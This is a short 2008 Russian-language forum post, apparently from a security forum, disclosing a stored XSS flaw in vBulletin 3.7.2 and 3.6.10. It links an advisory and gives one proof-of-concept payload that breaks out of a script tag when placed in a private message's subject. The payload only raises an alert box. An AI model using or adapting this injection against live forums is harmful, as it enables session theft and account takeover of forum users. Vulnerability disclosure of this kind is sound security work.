25.08.2008, 00:23
|
|
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме:
4839935
Репутация:
1202
|
|
Active XSS vBulletin <= 3.7.2 L2, 3.6.10 L4
Active XSS vBulletin <= 3.7.2 L2, 3.6.10 L4
_http://securityvulns.ru/Udocument391.html
Активка в всплывающем уведомлении о новом входящем ПМ.
"Show New Private Message Notification Pop-up" у юзера должно быть включено.
В теме ПМ сообщения:
Код HTML:
--></script><script>alert(/xss/)</script><!--
Последний раз редактировалось Elekt; 25.08.2008 в 00:32..
|
|
|